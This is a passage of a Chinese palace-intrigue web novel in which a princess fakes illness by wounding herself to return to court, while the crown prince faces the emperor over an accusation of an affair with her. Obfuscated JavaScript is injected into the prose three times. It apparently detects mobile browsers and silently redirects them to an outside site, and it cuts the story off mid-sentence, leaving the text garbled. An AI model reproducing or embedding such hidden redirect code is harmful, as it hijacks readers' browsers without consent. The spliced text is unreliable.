他一直都知道赵清漓是很好看的,只是他生来浊水缠身,自以为不配欣赏世间所有美好的实物,也不配觊觎任何美好的人,因此,他在心里一直和赵清漓维持着一个自认为恰当的距离,不仅是为了太子,也是为了自己。 他脸上的诧异一闪而过,而后垂下眼拒绝:“公主千金贵体,实在不必迁就我。” 好心当做驴肝肺! 她好心好意为他考虑,这男人却又来阴阳怪气和她拽文。 “随你!”赵清漓横他一眼,气鼓鼓地转身进了内阁。 周砚枕望着她的背影消失,将隔间的帷帘放下,转身挤进那只小小的云榻。 对于他的身量,这里的确如蜗居一般,但他小时候和父母长姐一起挤在那样的小草屋里,却是比这受苦多了。彼时那样艰难的生活他都挺了过来,又凭什么忍受不了眼前的。 周砚枕眸中寒意愈发幽深,儿时过往如走马灯一般回旋不断,他紧抿着唇闭上双眼,脸上的线条抑制不住地微微发颤。 伸手不见五指的漆黑中,他连自己的身影也寻不得,却隐约瞧见远处有团小小的光点。带着意识缓缓靠近,周砚枕惊觉那团小小的光点原是一只散着微弱光芒的兔子花灯。 那是前年的中秋佳节的夜晚,圣上难得好心情微服上街,几位皇子和公主也跟着同去。 每逢节日,周砚枕都是不愿出门的,毕竟佳节团圆,他却早已没什么家人了。但赵辞刚立为太子,他被拢入其下,自是不得不遵从太子意愿。 也就是那天,他在街边见到一只做工精巧的兔子花灯,花灯上题着“直到天头天尽处,不曾私照一人家”的诗句,他心中有感,忍不住多看了一会儿。 可惜街上陡然暴乱,为保圣体无恙,禁军大规模出兵追捕贼人,他们也只好折返回去,临走前他回望了一眼,那只兔子花灯在慌乱的行人脚下被踩的已经看不出原貌,他只得失望收回目光,心中颇为感慨。 有人恨明月高悬不独照我。 可他只恨,明月不照我。 月夕第二日下了早朝,远远的,周砚枕瞧见一个粉色的身影站在台阶下等他。他得太子授意不得不去询问一句以表关怀,走至跟前,却见少女眉眼弯弯,如星一样泛着璀璨的光泽,两只小手从身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999044|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧出一只做工潦草的兔子花灯,题字却写的好看,仍是那句“直到天头天尽处,不曾私照一人家”。 少女的嗓音有些怯生生的:“昨夜见大人似有遗憾,清漓自己做了一只,不大好看,还望大人不要嫌弃......” 周砚枕盯着那只花灯看了许久,而后挂上他一贯的礼貌微笑,修长的双手接过那只花灯,道了一句:“多谢公主。” 想到这里,周砚枕蓦的睁开双眼,默然从榻上起身。 拂灭桌台上的烛灯,整个房间顿时陷入黑暗,他的唇边却悄然爬上一丝温暖的浅笑。 黑暗里的那只花灯,也蛮丑的...... —————— 就这样停停歇歇又走了几日。 今儿已经进入十月。 这些天里,赵清漓不是没向周砚枕打听过赵辞的意思,然而周砚枕只是摇头表示不知,一来因为圣体抱恙百官已经许久不曾上朝议事,二来赵辞面圣提议的时候他人在韶音宫,这点赵清漓就可以为他作证。 约莫再过三日就能到达静安寺了,赵清漓心中却越来越不安宁。 一路上,周砚枕被她盯得难以安稳,忍不住把手中的书扣在怀里,疑惑问道:“你为何这样看我?” 赵清漓绞着手里的帕子,犹豫地开口:“太子接下来的动作你真的不知?” 周砚枕有点儿好笑地瞧着她,歪着头笑得很耐心:“这话你每日都要问上我十遍,不知。” 哪有那么夸张...... 赵清漓别开眼,丝帕被她团成了松软的小球,挤在掌心。 周砚枕目光闪烁了几下,冷不防问道:“......你在担心他?” 赵清漓先是一怔,紧接着意识到周砚枕口中的“他”指的正是赵辞。 若说是担心他,岂是并不准确,她担心的是整个赵氏皇族,若这么算的话,赵辞自然也是其中之一。 但赵清漓还是摇了摇脑袋:“我只是担心父皇的身体,还有六皇兄的事。” 说到赵齐,赵清漓突然意识到哪里不对,急促地看向周砚枕:“你说,六皇兄的事会不会出自淮王的手笔?” 周砚枕略一沉吟,问道:“为何这么问?” 那日她也曾追问过皇后,是谁透露给了永元帝赵齐的事,但皇后表示自己也不清楚,只知道永元帝突然掀翻了桌子,待她赶到,御医已经跪了一地。 先前她不曾猜测过会是淮王,是因为淮王和六皇子一直关系不错,且六皇子在朝中并无实权,淮王实在没理由害他。 而今赵清漓想,这人能先周砚枕一步将此事揭发,只能是参与其中之人,或他根本就是设局的人。若非她想破脑袋都没什么头绪,断然不会做出如此猜测。 而看周砚枕的反应,显然并不意外,只是没打算告诉她罢了。 赵清漓心中一沉,不着痕迹地把丝帕攥进手里:“三皇兄曾向我提起过淮王的一些事,我也只是顺着他的话随便猜一猜。” 车厢里瞬间安静下来,隐约弥漫着尴尬的气息。 赵清漓刚想劝他当作没听过,却见周砚枕搁下手里的书,脸色凝重:“或许,你猜的不错。” 26. 第 26 章 与此同时,荀安随太子刚从吏部回到玄华宫。 两人前脚刚跨进门槛,容追一脸凝重地走了上来,面色比他平日里看着还要难看。 赵辞不慌不忙地朝里走,语气轻松地问:“可是李牧公公来过了?” “是。”容追小心地向殿内看了一眼,压低声音,“现在人还没走,说是一定要亲眼见到您。” 赵辞饶有兴致道:“哦?带了多少人来?” 容追摇了摇头:“只有两个伴侍太监。” 赵辞当下便了解了,没动用近卫,人还算客气,也就是说,永元帝并没有完全信服那些传言。 赵辞点点头,转眼已经来到偏殿门外。 大门正开,两个年轻的小太监背身站着,头低的很谨慎。越过两人一左一右站立的间隙,隐约能看到前方那人的身形,年岁不小,正是李牧。 门外脚步声近了,李牧放下饮茶的杯子,忙不迭起身,十分客气地弯下腰:“太子殿下。” 赵辞敛去一身厉色,佯装不知情似的,笑道:“公公久等了,不知公公找本宫何事?” 李牧脸上松垮的皮肉抖了几下:“回殿下,圣上要见您。” 永元帝要见他,找人通传便是,何需派最亲近的李牧亲自过来,还非要等到他人不可。 赵辞心底滑过一丝冷笑,面上仍是一团和气:“不知是什么重要的事,一定要劳烦公公在此等候?” 李牧绕着圈子:“老奴不知,只是圣上说了,一定要老奴同殿下一道前去面圣,还望太子恕老奴失礼之罪。” 说着,身子又弯的低了一些,看起来极为恭敬。 到底算是宫中年长的老人,心思细着呢。 赵辞眸中闪过一抹锐利,接着加深唇边笑意,含笑扶起他的手:“公公言重了,本宫这便跟你同去。” —————— 另一边,马车陡然被周砚枕叫停。 御车的宫人一左一右从马上一跃而下,随车的侍卫也连忙围近。 方才听周砚枕声音急切,也不知道出了什么事。 近卫紧张的额角都渗出了汗,隔着帷帘战战兢兢问道:“周大人有何吩咐?” 没成想周砚枕抬手撩开那道帷帘,一脸凝重地吩咐:“回宫。” 近卫大吃一惊:“周大人!为何......” 话还没说完,他伸长脖子朝周砚枕身边张望一眼。 上车前还好好的人这会脸色苍白,捂着心口,虚弱地倚在周砚枕怀里。 周砚枕阴沉着脸:“公主旧疾犯了,必须立刻回宫医治!” “啊?”那名近卫一脸的疑惑,小声嘟哝,“没听说过公主有旧疾啊......” 一旁身材高些的同伴立刻从背后拍了他一下,提醒他不要乱说话。 但这话还是落在了周砚枕耳朵里,他周身的气息机具压迫感,音调冷冽:“你的意思是,本官和公主在诓骗各位了?” “不敢不敢!”两人唰的跪下,声音微微颤抖着,“可是圣上吩咐了,一定要将两位平安送到静安寺,这......” 周砚枕冷笑一声:“你也知道''平安''二字,若公主出了什么差错,本官倒是不怕圣上责罚,只怕你们所有人都要跟掉脑袋,这罪你可担待得起?” “这......” 几个人互相望了一眼,胆子大的再一次伸长脖子朝车厢内张望了一眼,见赵清漓确实难受的话都说不出来了,脸侧已经有豆大的汗珠落下。 周砚枕冷眼晲他一眼,道:“罢了,我也不为难你们,将随行御医叫来一看便知,他若有法子,我们便不必回去。” 对啊! 几人面面相觑,方才竟然忘了这茬。 于是急忙叫了御医过来,伴行的御医提着药箱上了车内,丝绢搭在赵清漓的腕上。 片刻之后,御医摇了摇头,脉象虽然急促却没什么异常的,应是没病。 然而他又仔细观察了下赵清漓,脸上的痛苦之色一直未减,似乎真的是在极力忍耐。若说人装病可以装得这么像,他行医多年从未见过。 那么就只有一种可能,果真是他治不了的病。 “可看出什么来了?”周砚枕眼神微微扫过他的表情,沉声提醒,“公主自打成婚后时常有心悸的症状,但公主为免圣上忧心才一直未曾提起,此事只有玄华宫的张御医知晓,他那里有能够医治的法子,你先开些镇静止痛的方子,否则这么长的路途,公主身体恐怕吃不消。” 御医连连应下,感激涕零地从随身药箱中拿出几方药来,谨慎地看着赵清漓吃下去。 马车立即调转方向,比来时的速度更快。 赵清漓缓缓从他怀里爬起来,痛苦的表情因为服了药似有一丝消减。 周砚枕沉默了一会儿,幽幽道:“值得吗?” 赵清漓疑惑的抬头瞟了一眼,动作轻慢地撩起宽大的袖口,口中应道:“他是我的皇兄,说什么值不值得。” 袖子被缓缓掀开,小臂内侧,赫然有一道触目惊心的伤口正在不断向外渗血,看样子是利器所致,原本戴在她鬓发间的金钗却不知所踪。 赵清漓虚弱地弯了弯唇角,要想装病瞒过宫里的老御医,她自认没这个本事,唯有切身的伤痛才能不被怀疑。 周砚枕却不甚理解:“哪怕他欺骗过你,伤害过你?” 赵清漓一顿,表情变得有点难看,别开脸低声反驳一句:“只要父皇母后他们安好,别的都不重要。” 饶是赵辞先对不住她,但归根究底,他是赵氏一脉,是永元帝的儿子,而永元帝...... 无论他对自己的感情是基于什么,但这十数年的无上宠爱不是假的,赵清漓不是一个不懂感恩的人。她从小失去双亲,在她的心里,永元帝和皇后就是她的双亲,而且,皇后又是她生母最亲的人。 他心中闪过一个十分危险的念头,眼神复杂地望着赵清漓:“......你现在还当他是你的皇兄吗?” 莫不是有了肌肤之亲,就此抛去人伦纲常了? 后半句话他没有问出来,但赵清漓明白他的意思。 她清楚自己和赵辞本身并没有血缘关系,皇室之中也有人知晓,但他们都缄口不言。连赵齐和淮王都不清楚的事,周砚枕一个族外之人更不会知晓,而且赵辞也是个谨慎的人,纵然他用周砚枕,也不会将所有秘事都告知他。 赵清漓只能告诉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵清漓垂下脑袋一看,果然已经包扎好了,雪色的罗锦虽然截面并不平整,但在周砚枕的处理下仍是规整的很,就像他这个人一样,给人干净、一丝不苟的感觉。 赵清漓望着包好的伤口一怔,轻声道:“多谢。” “不必。” 赵清漓再抬起头,周砚枕已经落身靠在车厢一侧,车厢窗子的一角露出一丝缝隙,周砚枕透过那道缝隙默默看着窗外,不知道在想什么,他的侧脸仍是那样出尘、安静、美好。 若如周砚枕所说,瑞王出事以后,淮王和惠贵妃的势力一落千丈,惠贵妃更是许久不得圣上眷顾,若非淮王渐渐收敛了性子,永元帝那种多疑的性子又不知要忌讳多久。 赵辞坐了太子之位,惠贵妃对他一直没有太多好脸色,除了在永元帝面前勉强会扮演一下良好的庶母形象,旁的时候与他绝不会有半分交集。 淮王最开始也是对赵辞横眉冷眼,渐渐的,却是对他礼让谦和起来了,永元帝还曾因此夸赞淮王,许多人也觉得淮王越发识大体,千夫所指的唯剩一个不争气的赵齐。 无论赵齐做出什么伤天害理的事,都是最能被人轻易接受的。他的确是一个好的利用工具。加之皇后的话永元帝的那句“都是真的”,周砚枕就更加确定有人不但将赵齐的事透露给永元帝,还添油加醋的表明御史中丞早已知晓,但......刻意隐瞒。 那人在永元帝心里埋下一颗怀疑的种子:御史中丞与太子私交最好,御史中丞知情不报,有包庇之心,也就等同于—— 太子的意思。 27. 第 27 章 赵清漓只恨自己那日多余替周砚枕求情,她就算不说,永元帝也未尝会拿周砚枕如何。 她和周砚枕名义上已是一家,和太子又是从小的情分,再加上从前赵清漓从不掺和朝堂之事,如今却似了解的清清楚楚,说起话来也是头头是道,难怪永元帝会用那样的态度对她。 这样一来,永元帝会以为赵齐的事同样与太子有关,猜测太子也是利益中的一环,甚至是最大受益者。太子心性不纯,永元帝心中必定对太子有芥蒂。 谁说做了太子就不能废除的?瑞王都可以被流放,他赵辞又岂有高枕无忧的道理! 恐怕淮王就是做了这个打算,不惜明里与赵齐交好,私下却将他算计其中。 但话又说回来了,永元帝是个多疑的,他又怎会丝毫没有想过有人陷害赵辞,而淮王为何选在此时将此事戳破。 而赵辞,偏要这时候让她去静安寺,可是知道了什么? 一想到长宁公主和淮王之间可能还有牵扯,赵清漓心中极为不安,这才要立刻折返回宫。 祈福是大事,不说她说回就能回的,因此,赵清漓才想到这么个法子,至于回去后该如何......到时再做打算吧。 —————— 十月初三。 午时刚过,车轱辘稳稳当当停驻在城门的青石板上。 守城的士兵吓了一跳,这皇室的马车刚离开没几天,算着时间顶多刚到静安寺,怎么这么快就回来了? 再瞧那四匹枣红色的良驹,去时各个趾高气扬,回来的一身的薄尘看起来是却是一路奔波过来的,每一匹都双目无神。 侍卫近前,小声在守城士兵身侧耳语几句,对方立刻神色一紧,忙不迭招呼同伴放行。 赵清漓沾血的外裳早就丢在了驿站,这会儿担心随时检查,不得不暗自伸在袖口里掐着自己的伤口,那种疼痛如同蚂蚁啃食一般灼人,但她却无暇顾及这么多了。 周砚枕将这些看在眼里,衣角下垂着的拳又紧了紧。 好在马车很快被放行,一溜烟儿的来到中都门。 周砚枕安抚地按下她要起身的动作,淡道:“我来。” 说罢,给了她一个放心的眼神,撩起车帘下了马车。 没过多久,周砚枕从旁掀起一角,赵清漓细微地转动脑袋,瞧着外头正在搭起车梯,慌忙把眼闭上。 车门大开,车帘卷起,赵清漓悄悄将手臂翻了个面,免得不小心渗出血迹被人发现。 “轿辇来了,我送你过去。” 周砚枕如清风般的嗓音落在她的耳畔,下一刻,她整个人落进一个温暖的怀抱,一步一步,步伐稳健。 赵清漓很快感觉到自己被放在宫轿中,她假装虚弱地睁开眼,瞥见的却是周砚枕一丝不苟的表情。 她知道安全了,便从周砚枕怀里挪了挪,撤出一些。 周砚枕的眉心轻轻跳了下,唇角微抿,任她躲远了一点,低声说:“你回来的事已经通报给了圣上,我们先回宫,稍后张御医便会过去为你诊治。” “那——”赵清漓一急,刚出了一声便反应过来,迅速捂上自己的嘴。 周砚枕明白她的意思:“张御医是太子的人,我会找机会和他说明情况,至于旁的我会去打听,你只记住,你现在是病人。” 赵清漓平静下来,反正已经回到宫里了,现在重要的是过了眼前这关。 她点点头,眉间的愁思却分毫未减。 蓦的,一只微凉的大手覆上她的手背,不紧不松的握着。 赵清漓茫然地扬起下巴,只见周砚枕一双微凉沉静的眼眸注视着她:“别担心,万事有我。” 韶音宫。 张御医跪在床边,正一脸谨慎地为赵清漓搭脉,他的身后还有两位等着搭脉的御医,正是永元帝一同派来的。 张御医摇头晃脑地思考了一阵子,而后收起脉枕和帔帛,对着床上的赵清漓拜过礼,转向周砚枕道:“回禀周大人,公主这是旧症,微臣需要调一下方子,一日三次的服下,静养几天便可。” 赵清漓暗自舒一口气,方才她的手一直在被枕下紧紧攥着,若没有周砚枕眼神提示他,怕是张御医就要说漏嘴了。毕竟谁也不会想到永元帝又派了两位御医,正好和张御医一道来了韶音宫,简直让人措手不及。 赵清漓面色仍是虚弱,她能清楚的感觉到里衣已经被血浸透,潮乎乎的粘在胳膊上。 演戏要演全套,赵清漓艰难地张了张口:“两位太医,可还要再为本宫瞧瞧?” 二人相视一眼,毕竟是永元帝仔细交代过的,他们不能就这么回去。 但张御医毕竟资历深厚,是宫廷里医术数一数二的御医,他们不敢明目张胆的质疑对方。 商议之下,其中一人上前,跪在地上仔细地铺好脉枕,将手搭在赵清漓的腕子上。 赵清漓心中微微一紧,面上却不敢露出什么破绽。 过了一会儿,御医摇着头叹息道:“微臣医术浅薄,看不出什么。” 御医心中的确有点纳闷,从脉象来看,脉搏虽快却有些虚浮,这都不是什么打紧的,可偏偏赵清漓确实脸色极差,提不起力气似的,怎么会出现如此奇怪的症状。 嗯,还得是张御医医术高超,他要学的还有很多...... “有劳。”周砚枕对着几位太医微微颔首,回以赵清漓一个肯定的眼神。 两位御医回永元帝面前复命,张御医则称要调几味药材借故留下。 见人走远,周砚枕问道:“这几日太子殿下那边情况如何?” 张御医愣了下,脸色有点不自然,摇着头道:“大人还不知道吧,太子殿下前日被李牧公公带去昭华殿,据说到现在还没出来!” 周砚枕吃了一惊,额前瞬间拢上一层阴霾:“出了什么事?” 张御医深叹一口气:“微臣不知,太子殿下去了昭华殿后便再没出来,昭华殿那边也没有任何消息传出,微臣猜测......是圣上的意思。” 永元帝有心隐瞒,昭华殿自是一只苍蝇都飞不出来,更别提消息了。就连太子被李牧带走的事,也是那日傍晚,宫女太监们在路上瞧见的。 怪不得永元帝今日特意多叫了两位太医共诊,恐怕也是疑心赵清漓此时折返颇为蹊跷,这永元帝当真是一旦被埋下疑心的种子,便生长的一发不可收拾了。 周砚枕在殿中来回踱了几步,心中暗自思量着。 张御医也觉察出事情不简单,一拍脑袋“哎呀”了一声:“对了,还有件事,是微臣去给圣上请平安脉的时候见着的,不知......是否和太子有关......” 张御医面带犹豫,怕自己猜测错了,反而空惹出许多是非。 周砚枕被他的话吸引,停下步伐:“大人有话直说。” “那微臣便说了。”张御医下定决心一般,稍微迟疑了一下开口,“那日午时,微臣去给圣上请平安脉出来,正好见长宁公主也去看望圣上,而且......” 周砚枕心中一跳,等他继续说下去。 “而且据说长宁公主至今......也没出来!” 什么? 话音一落,周砚枕暗道不妙。 长宁公主、淮王,这两个人的名字迅速在他脑海中拧作一股麻绳,他心中得出了一个最坏的结论—— 长宁公主把太子和赵清漓的事告发给了圣上,而且...... 圣上信了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999046|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说了这么许多,周砚枕再三嘱咐张御医对今日之事一定保密,接着收好他写下的所谓的“新方”和“旧方”,一切算是收尾妥当。 张御医和太子本就是一条船上的,自然满口答应:“周大人放心,这些都是治疗心悸的药材,但微臣特意调了几味药进去,都是以安神保健为主,即便真的喝下去对身体也不会造成危害。” 交待完这些,周砚枕才把张御医送出门去,心中却犯起愁来。 他要怎么和赵清漓说这件事。 正想着,春桃的声音从外面传来。 周砚枕推开门,正好瞧见春桃张皇失措的样子,而春桃见他打开门,下意识地小跑上前,急道:“驸马爷您在就好了!方才奴婢去替公主拿换洗的衣裳,一回去,公主就不见了!” “不见了......”周砚枕低声念了一遍,脸色陡然一变。 糟了! —————— 昭华殿外,近卫比平日里多了许多。 赵清漓方才听到了周砚枕和张御医的谈话,聪慧如她又岂会猜不出其中之事,然而当她急匆匆赶来,却被人拦在外头,连院落都进不去。 偏瘦的侍卫说道:“属下方才已经去请示过了,可圣上说他谁都不见,公主......您还是请回吧!” 把守的侍卫脸色为难,劝又劝不走,偏又不敢对她动粗,可真是为难! 但圣上吩咐过,这几日若无他的允许,任何人都不能出入昭华殿,连大门都不能靠近。 越是这样,赵清漓越是坚信赵辞一定还在昭华殿,甚至可能已经被圈禁,赵姝绾亦是如此,她不能坐以待毙,否则连自己都要搭进去。 想到这里,赵清漓一咬牙,扑通一声跪下,膝盖在石板上磕得重重一响,她垂下头跪伏在地上:“父皇,儿臣知道您醒着,求您见儿臣一面!” 看守的侍卫吓了一跳,急忙要扶起她。赵清漓却坚持跪着,额角上的汗比刚才更甚,嘴唇苍白的骇人。 她的胳膊随意缠了几圈,掐出的血印都没来得及处理,放任它不停向外渗,理应看起来状态不好,像是真的生了重病一样。 几个侍卫面面相觑,其中稍矮一些的担心出什么意外而被降罪,小声提议:“要不,我再进去问问?” 其他几人也都赞同,那人便进去了。 不一会儿,脚步声由远及近,赵清漓仍是把头埋在地板上,眼睛悄悄瞥向跟前的鞋面,一眼认出那是李牧公公的。 接着李牧的声音在她头顶响起:“公主殿下,圣上请您进去。” 赵清漓咬了咬牙,抬头谢过,摇摇晃晃站起来后,被身边丫鬟勉强扶了进去。 跨进外院,又入内院,一道道门皆是内侍把守,比平时多了一倍不止,赵清漓的心越来越沉。 外殿大门的牌匾在眼前渐渐放大,赵清漓抬起脚跨过高高的漆金门槛。 外殿之后就是内殿,在丫鬟的搀扶下,她终于接近永元帝所在的暖阁,刚一抬头,却见一袭熟悉的朱红锦衣跪在台阶底下,背影坚韧而挺拔。 随着缓缓走近的步伐,她的心也嗵嗵直跳。直到走近那人身侧,跨上第一级台阶的时候,淡淡的广藿和檀木香袭来,错身而过时,赵清漓微微转头,映入眼帘的是赵辞疲惫的面容,眼底的乌青像是许久未眠,双眼无神,下巴青黑的胡茬已经冒出了头,唯有跪着的身姿还带着那股子矜贵的傲气。 几日不见,他竟成了这副模样。 赵辞的目光也随即看向她,刹那看到她面色苍白被搀扶着的狼狈模样,眼底闪过一丝震撼和疼惜,而后转瞬即逝。 赵辞收回目光,微不可闻地调整过稍斜的视线角度,仍是笔直地跪着,一言不语。 28. 第 28 章 金殿里,方几上的銮金香炉上点着安神香,香烟袅绕,在炉顶盘旋了几圈才消散不见。 整座殿里静悄悄的,两边站了寥寥数个服侍的宫女太监。 赵清漓被搀扶进来,其他一干人立刻知趣地退下。 她心中忐忑,立在殿中央的薄毯上,透过鎏金织的屏风向后看去,她的父皇倚在床上,手中的玛瑙念珠啪嗒啪嗒有节奏地响着。 永元帝知道她来了,正如赵清漓也知道他在看着自己。 暖阁里安静了许久,久到赵清漓觉得自己的呼吸都变沉重了,永元帝的声音幽幽响起:“身体没好,怎么就急着过来?” 赵清漓提起繁重的裙摆,端正地跪下,平静回答:“回父皇,儿臣来请罪。” 念珠碰撞的声音戛然而止,永元帝顿了一下,声音里带着一丝愠怒,极力克制着:“那你说说......你所犯何罪?” 赵清漓沉着地答他:“父皇命儿臣去静安寺祈福,儿臣有负所托,特来请罪。” 永元帝没说话,殿内再次陷入令人焦灼的寂静。 忽的,他冷笑几声,将手中的念珠啪的一丢,那串檀绿色的玛瑙自屏风下头扫过,停在赵清漓的膝盖面前,她听到永元帝重重咳嗽了几声。 永元帝的声音深沉缓慢:“你身体有恙,若朕因此怪罪你,岂非不通人情?” 他们二人一言一答,看起来从善如流,实则互相试探,气氛却诡异的很。 赵清漓摸不透永元帝现在对她抱有什么想法,也不知道长宁公主是如何说的,更不知道赵辞因何跪在那里,他是认了......还是没认。 “多谢父皇体恤。” 赵清漓答的简洁,显得与永元帝十分疏远,这让他顿觉不满,冷哼一声:“清漓真是长大有自己的主意了,生了这么久的病竟也一声不吭忍着,直到发作了才让朕知晓?” 赵清漓的脸越发褪去血色,她咬了咬苍白的唇,斟酌着说道:“只是一些小毛病罢了,儿臣不敢让父皇挂心。” “不敢?”永元帝侧了个身,将身子正对着屏风外的赵清漓,透过模糊的虚影找到她的位置,提高了音量斥,“你不敢让朕挂心,怎么却第一时间想到要劳烦太子?朕可听说张御医是太子专程派去为你诊治的!咳咳咳咳咳——” 说着,永元帝激动地又咳嗽几声,每一声都让赵清漓冷汗直流,伏在地上紧紧皱起眉头。 末了,永元帝清两下嗓子,声音有点嘶哑:“清漓......方才进门可都看见了?” 赵清漓怔然,微微偏头朝身后转了一下,不敢有大的动作。 但赵辞距他还有一门之隔,她看不到外头的人是什么表情。 她咬了咬牙,手指不自觉屈起,指甲扣进地上的绒毯:“回父皇,看到了。” 永元帝顿了下,说道:“你不要告诉朕,你毫不顾惜自己的身体拖着病躯来见朕......是为了他?” 他的话音分明带着警告的意味,赵清漓禁不住瑟缩一下,咽了咽口水。 她缓缓抬起头,带着疑惑的语调望向屏风后的永元帝:“父皇这是......何意?儿臣不明白。” 赵清漓继续冷静回应:“儿臣未抵达静安寺,自觉辜负父皇的期望,心中惶恐不安,这才来向父皇请罪以求宽恕,至于三皇兄......儿臣见到了,不知三皇兄所犯何事,父皇罚他跪在那里?” 总算是切入到正题了,总这么拐弯抹角的,赵清漓只觉得心脏快要承受不起,倒不如直接一点来个痛快。 最后一句话像是点燃了沉静许久的引线,永元帝腾的从龙榻上起身坐直,两只手搭在膝上,双眼一凛望向赵清漓,大声呵斥:“你当真不明白?来人——” 一声令喝,李牧从外头脚步匆匆迈进门槛,看了一眼跪在地上的赵清漓,又瞧她膝前扔下的玛瑙手串,沉吟了片刻绕进屏风里面。 他站在龙榻边上恭敬道:“圣上。” 永元帝闭了闭眼,胸口似闷了好大一团浊气,不悦地吩咐:“把赵姝绾带过来,还有,把太子给朕''请''进来!” 这个“请”字被他念的挤重,李牧脸上面露一丝诧异,凭借跟随永元帝这么多年,怎么可能不知道他要做什么。 犹豫了片刻,李牧提议:“是否要将那小丫头一并带上?” 赵清漓一直竖起耳朵仔细听他们的谈话,听到李牧说小丫头,她心头掠起一阵疑惑。 哪来的小丫头,这件事还牵扯到了旁人? 永元帝思量片刻:“让她先候着。” 李牧这才恭敬地退下,经过赵清漓时满怀同情地看了她一眼,这目光让她很不舒服。 李牧也算看着她长大的,但这个人很怪异,他不偏颇任何一个皇子或公主,对谁面上都是客客气气的,但对谁也都实在算不上亲近。他只忠于永元帝一个人,唯有对永元帝,他是全心投入的。 赵清漓一直觉得李牧算不得什么顶好的人,但他绝对是一个忠仆。 很快,背后传来脚步声,听起来有些虚浮,但已经极力稳住了。 一道阴影越来越近,最后挡在她身侧。 赵清漓不必转头也知道是赵辞,他掀起衣摆,端正地跪在她的旁边。 随后是两人架着长宁公主进来,还未进门就能听到她不服气挣扎的声音。 赵清漓忍不住回头望去,果然见她是被永元帝的近侍一左一右拖着进来的,再瞧她鬓发微乱,衣裳也挂着尘色,心下便知长宁公主这几日处境并不比赵辞好到哪去。 长宁公主被强行扣着一并跪在殿中,她转头细细一看,发觉这兄妹二人同样狼狈,忍不住哈哈大笑了几声,也不挣扎了,干脆顺着半跪的动作跌坐在远处,不成体统,甚至还有些癫狂的态势。 侍卫退去,李牧将屏风推至一旁。 屏风之后,永元帝端坐在龙榻边沿,脸上颓态尽显,一看就是今日气血不畅的缘故,但他却还是努力展露出威严,想要震慑住下面几个小辈。 赵清漓的心像是被揪了一下。 永元帝看着几人,昔日高高在上的皇子公主,如今看起来哪来有王权贵女的样子,让人看了就头疼!也就是太子,跪了那么久的时间只喝了几口水,却还是挺着一身傲骨一脸不肯屈服的模样。 永元帝忍不住多注意他两眼,心中对长宁公主的疑虑反倒多了一点。 因此,他首先看向长宁公主,确认了一遍:“长宁,你可知污蔑太子和公主乃是重罪?” 长宁公主不屑地笑道:“我所说的句句实情,何谈污蔑!” 永元帝猜到她会坚持这么说,毫无意料之外的嗯了一声:“很好。” 随后他的目光落在赵辞身上,终究是面对自己更为熟悉的儿子,音色沉了几分,立刻有点不怒自威的意思了:“澜之,在门外跪了两日,你可想清楚了?” 赵辞神情淡漠,清楚地答他:“回父皇,六弟的事儿臣的确知晓,但此事前因后果尚未明确,因此儿臣未曾禀告父皇,父皇若要怪儿臣知情不报之罪,儿臣认罪。” 说完,他伏身重重磕了一下头,直起身又道:“至于父皇所说儿臣与皇妹有染、秽乱宫闱一事......子 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接着他对长宁公主说:“那日你说韶音宫的宫女夏荷可以证实你的话,朕现在命人把她带来了。” 夏荷! 赵清漓心中又是一个霹雳,亏她本来还想着夏荷并非赵辞的人,有心日后重用她。同时她也暗自松一口气,还好当时她被琐事绊住,只是浅作考虑,并未实行。 那就奇怪了,夏荷如何能替长宁公主作证? 正想着,战战兢兢进来个宫女,一进门就扑通跪在地上,身子抖得像筛糠一样。 长宁公主眼睛一亮,急切地指着夏荷:“你这丫头,知道什么还不快些说出来,还等着圣上亲自来问你吗!” 那宫女闻言立即抬起头,两只眼睛慌乱的不知该看向谁,拼命躲闪。 果然是夏荷。 永元帝瞧着夏荷畏畏缩缩的样子就觉心烦,不耐地拍拍身下的衾褥:“夏荷,你既说愿意为长宁作证,说说看,你都知道些什么?” 夏荷跪在地上向前匍匐几步,头埋的极低:“回禀圣上,那日宫宴结束,太子殿下抱着公主回来,确实待了许久才离开,而且太子和公主交往甚密,这些都是奴婢亲眼所见!” 赵清漓忍不住冷笑,就这些?这有什么稀奇的,那日她醉酒后是如何离开的,宫宴上的每个人都见着了,他们都没说什么,何须她一个丫鬟来指指点点。 亏得长宁公主居然把宝压在她身上。 永元帝也不悦地皱起眉:“这就是你的证言?” 那日她说的分明不止这些! 长宁公主立即扭身催促:“你说这些没用的做什么!说说大婚那日你见着了什么!” 夏荷被长宁公主吼的一怔,紧紧咬上嘴唇,悄悄抬起眼望向赵清漓。 赵清漓也在冷眼瞧着夏荷。 大婚那日的情景,赵清漓并不能记得很清。一来她清醒的时候人已在自己寝殿,而来饮下茶水之前发生了什么她一概不知,至于外头有什么人在,甚至她的驸马人在何处,她都毫无头绪。 因此,赵清漓内心其实毫无底气,但她知道,这个时候她不能表现出来。 半晌儿,夏荷把心一横,扬起头大声道:“公主大婚那晚,宾客走后,驸马一直都在偏殿休息,并未回房。” 说到一半,她看了太子一眼,继续说:“奴婢亲眼看见太子殿下去洞房看望公主,天快亮了才出来!” 